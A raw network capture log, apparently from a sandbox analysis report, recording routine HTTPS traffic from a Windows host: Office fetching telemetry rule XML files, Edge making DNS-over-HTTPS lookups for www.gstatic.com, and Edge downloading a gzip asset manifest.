2024-11-23 23:06:46 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:46 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 449238ea-501e-0029-7d7c-3bd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230646Z-174c587ffdfcb7qhhC1TEB3x7000000003kg00000000ncdv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:46 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:46 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:46 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: a7625850-801e-007b-654c-3ce7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230646Z-178bfbc474bbbqrhhC1NYCvw74000000055g00000000n3yr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:47 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	49869	162.159.61.3	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:46 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 23:06:46 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 23:06:46 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 23:06:46 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e74cfca2c2517e9-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 23:06:46 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 fb 00 04 8e fb 28 83 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	49870	172.64.41.3	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:46 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 23:06:46 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 23:06:47 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 23:06:46 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e74cfcb4dc942d1-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 23:06:47 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 0d 00 04 ac d9 a5 83 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	49871	172.64.41.3	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:46 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 23:06:46 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 23:06:47 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 23:06:47 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e74cfcbcd7b0c8e-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 23:06:47 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 f1 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:47 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:47 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: ba3f3383-a01e-000d-6e55-3cd1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230647Z-15b8b599d88s6mj9hC1TEBur3000000003eg000000007pzp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:47 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:48 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:49 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:48 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 1b17855c-f01e-0099-1f6a-3c9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230648Z-174c587ffdfn4nhwhC1TEB2nbc00000003p000000000dyff x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 23:06:49 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:48 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:48 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: c63dd3a8-001e-0017-61d8-3d0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230648Z-178bfbc474bvjk8shC1NYC83ns00000004v000000000py20 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:49 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:48 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:49 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 552a2c24-c01e-00ad-456c-3da2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230649Z-15b8b599d88wn9hhhC1TEBry0g00000003s0000000001b00 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:49 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:49 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:50 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:49 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 43d09947-101e-005a-2421-3c882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230649Z-178bfbc474bw8bwphC1NYC38b400000004yg00000000abrq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:50 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.6	49879	13.107.246.40	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:49 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 23:06:50 UTC	557	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:50 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 1f19819d-a01e-0048-40fc-3d5a9a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T230650Z-15b8b599d88wk8w4hC1TEB14b800000003kg00000000e98d Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-23 23:06:50 UTC	15827	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-23 23:06:51 UTC	16384	IN	Data Raw: ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c 87 07 e7 d4 da 16 34 27 65 eb d7 87 be 44 96 29 71 b2 3a d6 Data Ascii: [T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp4'eD)q:
